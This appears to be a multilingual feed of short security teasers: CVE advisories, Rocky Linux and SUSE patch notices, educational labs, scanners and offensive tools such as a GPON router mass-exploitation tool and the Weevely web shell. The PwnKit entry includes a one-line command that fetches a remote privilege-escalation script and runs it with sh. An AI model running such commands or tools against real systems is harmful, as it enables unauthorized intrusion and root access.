IBM Aspera Faspex <=4.4.2 PL1 - Remote Code Execution

IBM Aspera Faspex through 4.4.2 Patch Level 1 is susceptible to remote code execution via a YAML deserialization flaw. This can allow an attacker to send a specially crafted obsolete API call and thereby execute arbitrary code, obtain sensitive data, and/or execute other unauthorized operations...

Apache OFBiz - Remote Code Execution

Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server id: CVE-2024-45507 info: name: Apache OFBiz -...

python-pyasn1 security update

An update is available for python-pyasn1. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Python is an interpreted, interactive, object-oriented programming...

firefox security update

An update is available for firefox. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Mozilla Firefox is an open-source web browser, designed for standards...

nginx:1.24 security update

An update is available for nginx, module.nginx. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list nginx is a web and proxy server supporting HTTP and other...

python3.12 security update

An update is available for python3.12. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Python is an interpreted, interactive, object-oriented programming languag...

gstreamer1-plugins-good security update

An update is available for gstreamer1-plugins-good. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list GStreamer is a streaming media framework based on graphs of...

cve-2021-3156-sudo-lab

🐧 CVE-2021-3156 — Sudo Security Lab Progetto educativo sviluppato in Python con focus sull'analisi della vulnerabilità CVE-2021-3156 Baron Samedit , un grave difetto in sudo che permetteva l'elevazione dei privilegi locali su sistemi Linux. 📌 Obiettivo del Progetto Questo progetto è stato creato...

zero-click-exploit-analysis

Zero-Click, Vecchi Trucchi Anatomia della catena di exploit zero-click di WhatsApp/ImageIO del 2025 CVE-2025-55177 + CVE-2025-43300. Documento di ricerca più un compagno web interattivo con guide dettagliate delle CVE, differenze delle patch e laboratori pratici su heap/stack. Sito live:...

linux-4.1.15_CVE-2018-5873

Linux-Kernel, Version 4.x http://kernel.org/ Dies sind die Versionshinweise für Linux Version 4. Lesen Sie sie sorgfältig, da sie erklären, worum es geht, wie der Kernel installiert wird und was zu tun ist, wenn etwas schiefgeht. WAS IST LINUX? Linux ist ein Klon des Betriebssystems Unix, der von...

Security update for the Linux Kernel (Live Patch 18 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150700.53.66 fixes various security issues: The following security issues were fixed: CVE-2025-40204,CVE-2026-53224,CVE-2026-53246: sctp: validate cached peer INIT chunk length in COOKIEECHO processing bsc1253437 bsc1270023 bsc1270024...

KERNELexploits

PwnKit Exploit autonomo per CVE-2021-4034 - Escalation dei privilegi locali di Pkexec Utilizzo Dovrebbe funzionare subito sulle distribuzioni Linux vulnerabili basate su Ubuntu, Debian, Fedora e CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh...

CVE-2019-13272

CVE-2019-13272 - Escalação de Privilégio Local em Pkexec ⚠️ Apenas para fins educacionais e de pesquisa de segurança autorizada Autores do Exploit Original Muito grato ao autor original do PoC BCOLES Descrição No kernel Linux anterior à versão 5.1.17, ptracelink em kernel/ptrace.c lida...

Pingpon-Exploit

PINGPON EXPLOIT Autore: @037 Pingpon è uno strumento utilizzato per ottenere migliaia di router domestici GPON vulnerabili tramite Shodan.io per poi eseguire qualsiasi comando Linux su di essi utilizzando una falla di esecuzione di codice remoto CVE-2018-10562. DISCLAIMER NON sono responsabile pe...

check-cve-2026-23111

CVE-2026-23111 Defensives Validierungsskript Übersicht CVE-2026-23111 ist eine Schwachstelle im Linux-Kernel in nftables, die von einem unprivilegierten Benutzer zur lokalen Privilegienausweitung auf Systemen ausgenutzt werden kann, auf denen Benutzer-Namespaces und nftables verfügbar sind.12...

SUSE-SU-2026:3780-1 Security update for the Linux Kernel (Live Patch 17 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150700.53.63 fixes various security issues: The following security issues were fixed: - CVE-2025-40204,CVE-2026-53224,CVE-2026-53246: sctp: validate cached peer INIT chunk length in COOKIEECHO processing bsc1253437 bsc1270023 bsc1270024. -...

o3_finds_cve-2025-37899

basato su Come ho usato o3 per trovare CVE-2025-37899, una vulnerabilità zero-day remota nell'implementazione SMB del kernel Linux vulnerabilità target vulnerabilità ollama CVE-2024-37032 https://github.com/ollama/ollama/releases/tag/v0.1.34...

CVE_2026_31694

Scanner passivo per CVE-2026-31694 Uno strumento passivo di valutazione degli host Linux per CVE-2026-31694 , una scrittura out-of-bounds nella cache readdir di FUSE nel kernel Linux. Lo scanner valuta il kernel in esecuzione, l'esposizione a FUSE, i metadati dei pacchetti locali, le evidenze del...

kali-preseed-examples

Esempi di Preseed Kali I file preseed di Debian sono strumenti utili per automatizzare l'installazione e la configurazione di una distribuzione basata su Debian. Kali è in grado di utilizzarli per velocizzare le installazioni con un'installazione non presidiata, personalizzata e coerente. Per mol...

weevely3

Weevely - Weaponized web shell Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks,...